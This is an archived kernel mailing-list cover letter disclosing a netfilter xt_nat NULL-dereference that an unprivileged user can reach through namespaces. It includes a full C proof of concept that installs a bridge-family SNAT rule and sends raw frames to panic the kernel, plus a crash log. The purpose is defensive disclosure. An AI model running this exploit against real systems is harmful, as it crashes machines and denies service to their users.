From: Ren Wei <n05ec@lzu.edu.cn>
To: netfilter-devel@vger.kernel.org
Cc: pablo@netfilter.org, fw@strlen.de, phil@nwl.cc, kaber@trash.net,
yuantan098@gmail.com, yifanwucs@gmail.com,
tomapufckgml@gmail.com, zcliangcn@gmail.com, bird@lzu.edu.cn,
bronzed_45_vested@icloud.com, n05ec@lzu.edu.cn
Subject: [PATCH nf 0/1] netfilter: xt_nat: bridge nft_compat rule can trigger NULL-deref
Date: Sat, 13 Jun 2026 18:27:14 +0800 [thread overview]
Message-ID: <cover.1781144570.git.bronzed_45_vested@icloud.com> (raw)
From: Wyatt Feng <bronzed_45_vested@icloud.com>
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/xt_nat.c.
The bug is reachable by an unprivileged user using private namespaces.
The relevant details are provided below.
---- details below ----
Bug details:
The bug is in `net/netfilter/xt_nat.c`, in the rev1/rev2
`SNAT`/`DNAT` xtables targets.
These targets are registered without a family restriction, so
`nft_compat` can resolve them from a bridge-family chain via the
existing `NFPROTO_UNSPEC` xtables fallback. However,
`xt_nat_checkentry()` accepts `NFPROTO_BRIDGE`, while the runtime target
handlers assume IP-family conntrack state is present.
When such a bridge-family compat rule is evaluated on traffic without an
attached conntrack entry, `nf_ct_get()` returns `NULL`.
`xt_snat_target_v1()`/`xt_dnat_target_v1()` and
`xt_snat_target_v2()`/`xt_dnat_target_v2()` then proceed to
`nf_nat_setup_info(ct, ...)`, which dereferences the NULL `ct` and
causes a kernel NULL-dereference and panic.
Reproducer:
gcc -O2 -Wall -Wextra mini_poc.c $(pkg-config --cflags --libs libmnl) -o mini_poc
unshare -Urn ./mini_poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN mini_poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <libmnl/libmnl.h>
#include <linux/if_packet.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_nat.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nf_tables_compat.h>
#include <linux/netfilter/nfnetlink.h>
#include <linux/netlink.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>
#define BUF_SIZE 4096
static void die(const char *what)
{
perror(what);
exit(EXIT_FAILURE);
}
static int run_cmd(bool allow_fail, const char *fmt, ...)
{
char cmd[512];
va_list ap;
int ret;
va_start(ap, fmt);
vsnprintf(cmd, sizeof(cmd), fmt, ap);
va_end(ap);
ret = system(cmd);
if (ret != 0 && !allow_fail) {
fprintf(stderr, "command failed: %s\n", cmd);
exit(EXIT_FAILURE);
}
return ret;
}
static void cleanup(void)
{
run_cmd(true, "nft delete table bridge nat >/dev/null 2>&1");
run_cmd(true, "ip link del br0 >/dev/null 2>&1");
run_cmd(true, "ip link del veth0 >/dev/null 2>&1");
run_cmd(true, "ip link del veth1 >/dev/null 2>&1");
}
static uint32_t nf_tables_genid(void)
{
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
struct nlmsghdr *nlh;
struct nfgenmsg *nfg;
uint32_t genid = 0;
int ret;
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
nlh = mnl_nlmsg_put_header(buf);
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETGEN;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = 1;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(0);
ret = mnl_socket_sendto(nl, nlh, nlh->nlmsg_len);
if (ret < 0)
die("mnl_socket_sendto(GETGEN)");
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
if (ret < 0)
die("mnl_socket_recvfrom(GETGEN)");
for (nlh = (struct nlmsghdr *)buf; mnl_nlmsg_ok(nlh, ret);
nlh = mnl_nlmsg_next(nlh, &ret)) {
struct nlattr *attr;
if (nlh->nlmsg_type != ((NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWGEN))
continue;
mnl_attr_for_each(attr, nlh, sizeof(*nfg)) {
if (mnl_attr_get_type(attr) == NFTA_GEN_ID) {
genid = ntohl(mnl_attr_get_u32(attr));
break;
}
}
if (genid)
break;
}
mnl_socket_close(nl);
if (!genid) {
errno = EPROTO;
die("GETGEN missing genid");
}
return genid;
}
static void put_nla_u32_be(struct nlmsghdr *nlh, uint16_t type, uint32_t v)
{
mnl_attr_put_u32(nlh, type, htonl(v));
}
static void put_batch_begin(struct nlmsghdr *nlh, uint32_t seq, uint32_t genid)
{
struct nfgenmsg *nfg;
nlh->nlmsg_len = NLMSG_HDRLEN;
nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
put_nla_u32_be(nlh, NFNL_BATCH_GENID, genid);
}
static void put_batch_end(struct nlmsghdr *nlh, uint32_t seq)
{
struct nfgenmsg *nfg;
nlh->nlmsg_len = NLMSG_HDRLEN;
nlh->nlmsg_type = NFNL_MSG_BATCH_END;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
nlh->nlmsg_pid = 0;
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_UNSPEC;
nfg->version = NFNETLINK_V0;
nfg->res_id = htons(NFNL_SUBSYS_NFTABLES);
}
static void build_rule_msg(struct nlmsghdr *nlh)
{
struct nfgenmsg *nfg;
struct nlattr *exprs;
struct nlattr *elem;
struct nlattr *expr_data;
struct nf_nat_range info = {
.flags = NF_NAT_RANGE_MAP_IPS,
.min_addr.ip = htonl(0x01020304),
.max_addr.ip = htonl(0x01020304),
};
nfg = mnl_nlmsg_put_extra_header(nlh, sizeof(*nfg));
nfg->nfgen_family = NFPROTO_BRIDGE;
nfg->version = NFNETLINK_V0;
nfg->res_id = 0;
mnl_attr_put_strz(nlh, NFTA_RULE_TABLE, "nat");
mnl_attr_put_strz(nlh, NFTA_RULE_CHAIN, "postrouting");
exprs = mnl_attr_nest_start(nlh, NFTA_RULE_EXPRESSIONS);
elem = mnl_attr_nest_start(nlh, NFTA_LIST_ELEM);
mnl_attr_put_strz(nlh, NFTA_EXPR_NAME, "target");
expr_data = mnl_attr_nest_start(nlh, NFTA_EXPR_DATA);
mnl_attr_put_strz(nlh, NFTA_TARGET_NAME, "SNAT");
put_nla_u32_be(nlh, NFTA_TARGET_REV, 1);
mnl_attr_put(nlh, NFTA_TARGET_INFO, sizeof(info), &info);
mnl_attr_nest_end(nlh, expr_data);
mnl_attr_nest_end(nlh, elem);
mnl_attr_nest_end(nlh, exprs);
}
static void install_rule(void)
{
struct mnl_socket *nl;
char buf[BUF_SIZE];
char reply[BUF_SIZE];
struct nlmsghdr *nlh;
uint32_t genid;
size_t len;
int ret;
memset(buf, 0, sizeof(buf));
genid = nf_tables_genid();
nlh = (struct nlmsghdr *)buf;
put_batch_begin(nlh, 1, genid);
len = NLMSG_ALIGN(nlh->nlmsg_len);
nlh = (struct nlmsghdr *)(buf + len);
nlh->nlmsg_len = NLMSG_HDRLEN;
nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWRULE;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK;
nlh->nlmsg_seq = 2;
nlh->nlmsg_pid = 0;
build_rule_msg(nlh);
len += NLMSG_ALIGN(nlh->nlmsg_len);
nlh = (struct nlmsghdr *)(buf + len);
put_batch_end(nlh, 3);
len += NLMSG_ALIGN(nlh->nlmsg_len);
nl = mnl_socket_open(NETLINK_NETFILTER);
if (!nl)
die("mnl_socket_open");
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
die("mnl_socket_bind");
ret = mnl_socket_sendto(nl, buf, len);
if (ret < 0)
die("mnl_socket_sendto(rule)");
ret = mnl_socket_recvfrom(nl, reply, sizeof(reply));
if (ret > 0)
ret = mnl_cb_run(reply, ret, 2, mnl_socket_get_portid(nl), NULL, NULL);
if (ret < 0)
die("mnl_cb_run(rule)");
mnl_socket_close(nl);
}
static void send_trigger_frames(void)
{
unsigned char frame[60];
struct sockaddr_ll sll;
struct ifreq ifr;
struct timespec ts = { .tv_sec = 0, .tv_nsec = 20 * 1000 * 1000 };
int fd;
int i;
fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (fd < 0)
die("socket(AF_PACKET)");
memset(&ifr, 0, sizeof(ifr));
snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "veth0p");
memset(&sll, 0, sizeof(sll));
if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
die("ioctl(SIOCGIFINDEX)");
sll.sll_ifindex = ifr.ifr_ifindex;
if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
die("ioctl(SIOCGIFHWADDR)");
memset(frame, 'A', sizeof(frame));
memset(frame, 0xff, 6);
memcpy(frame + 6, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
frame[12] = 0x88;
frame[13] = 0xb5;
sll.sll_family = AF_PACKET;
sll.sll_protocol = htons(ETH_P_ALL);
sll.sll_halen = ETH_ALEN;
memset(sll.sll_addr, 0xff, ETH_ALEN);
for (i = 0; i < 32; i++) {
if (sendto(fd, frame, sizeof(frame), 0,
(struct sockaddr *)&sll, sizeof(sll)) < 0)
die("sendto");
nanosleep(&ts, NULL);
}
close(fd);
}
int main(void)
{
atexit(cleanup);
cleanup();
run_cmd(false, "nft add table bridge nat");
run_cmd(false, "nft add chain bridge nat postrouting "
"'{ type filter hook postrouting priority 300; policy accept; }'");
install_rule();
run_cmd(false, "ip link add br0 type bridge");
run_cmd(false, "ip link set br0 up");
run_cmd(false, "ip link add veth0 type veth peer name veth0p");
run_cmd(false, "ip link add veth1 type veth peer name veth1p");
run_cmd(false, "ip link set veth0 master br0");
run_cmd(false, "ip link set veth1 master br0");
run_cmd(false, "ip link set veth0 up");
run_cmd(false, "ip link set veth1 up");
run_cmd(false, "ip link set veth0p up");
run_cmd(false, "ip link set veth1p up");
usleep(200000);
send_trigger_frames();
sleep(1);
return 0;
}
------END mini_poc.c--------
----BEGIN crash log----
[ 174.769777][ T11] ------------[ cut here ]------------
[ 174.770980][ T11] !(ct != NULL && (ctinfo == IP_CT_NEW || ctinfo == IP_CT_RELATED || ctinfo == IP_CT_RELATED_REPLY))
[ 174.771001][ T11] WARNING: net/netfilter/xt_nat.c:93 at xt_snat_target_v1+0x115/0x1b0, CPU#0: kworker/0:1/11
[ 174.804089][ T11] nft_do_chain_bridge+0x246/0xfa0
[ 174.845653][ T11] mld_sendpack+0x8f7/0xec0
[ 174.847675][ T11] mld_ifc_work+0x75a/0xc10
[ 174.865335][ T11] ---[ end trace 0000000000000000 ]---
[ 174.867747][ T11] Oops: general protection fault, probably for non-canonical address 0xdffffc0000000019: 0000 [#1] SMP KASAN NOPTI
[ 174.868849][ T11] KASAN: null-ptr-deref in range [0x00000000000000c8-0x00000000000000cf]
[ 174.878439][ T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[ 174.903767][ T11] ? xt_snat_target_v1+0x115/0x1b0
[ 174.916037][ T11] xt_snat_target_v1+0x14b/0x1b0
[ 174.924669][ T11] nft_target_eval_bridge+0x1c1/0x320
[ 174.931246][ T11] nft_do_chain+0x2e5/0x1990
[ 174.998163][ T11] ip6_finish_output2+0xfd4/0x1ce0
[ 175.004839][ T11] ? NF_HOOK.constprop.0+0x277/0x5a0
[ 175.014886][ T11] mld_sendpack+0x8f7/0xec0
[ 175.018164][ T11] mld_ifc_work+0x75a/0xc10
[ 175.042339][ T11] RIP: 0010:nf_nat_setup_info+0xd1/0x2c30
[ 175.058662][ T11] Kernel panic - not syncing: Fatal exception in interrupt
-----END crash log-----
Best regards,
Wyatt Feng
Wyatt Feng (1):
netfilter: xt_nat: reject unsupported target families
net/netfilter/xt_nat.c | 9 +++++++++
1 file changed, 9 insertions(+)
--
2.47.3
next reply other threads:[~2026-06-13 10:27 UTC|newest]
Thread overview: 10+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-06-13 10:27 Ren Wei [this message]
2026-06-13 10:27 ` [PATCH nf 1/1] netfilter: xt_nat: reject unsupported target families Ren Wei
2026-06-13 21:31 ` Florian Westphal
2026-06-13 22:00 ` Florian Westphal
2026-06-13 22:15 ` Pablo Neira Ayuso
2026-06-13 22:25 ` Florian Westphal
2026-06-14 9:43 ` Pablo Neira Ayuso
2026-06-14 11:11 ` Pablo Neira Ayuso
2026-06-14 11:16 ` Florian Westphal
2026-06-15 18:16 ` Florian Westphal
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1781144570.git.bronzed_45_vested@icloud.com \
--to=n05ec@lzu.edu.cn \
--cc=bird@lzu.edu.cn \
--cc=bronzed_45_vested@icloud.com \
--cc=fw@strlen.de \
--cc=kaber@trash.net \
--cc=netfilter-devel@vger.kernel.org \
--cc=pablo@netfilter.org \
--cc=phil@nwl.cc \
--cc=tomapufckgml@gmail.com \
--cc=yifanwucs@gmail.com \
--cc=yuantan098@gmail.com \
--cc=zcliangcn@gmail.com \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox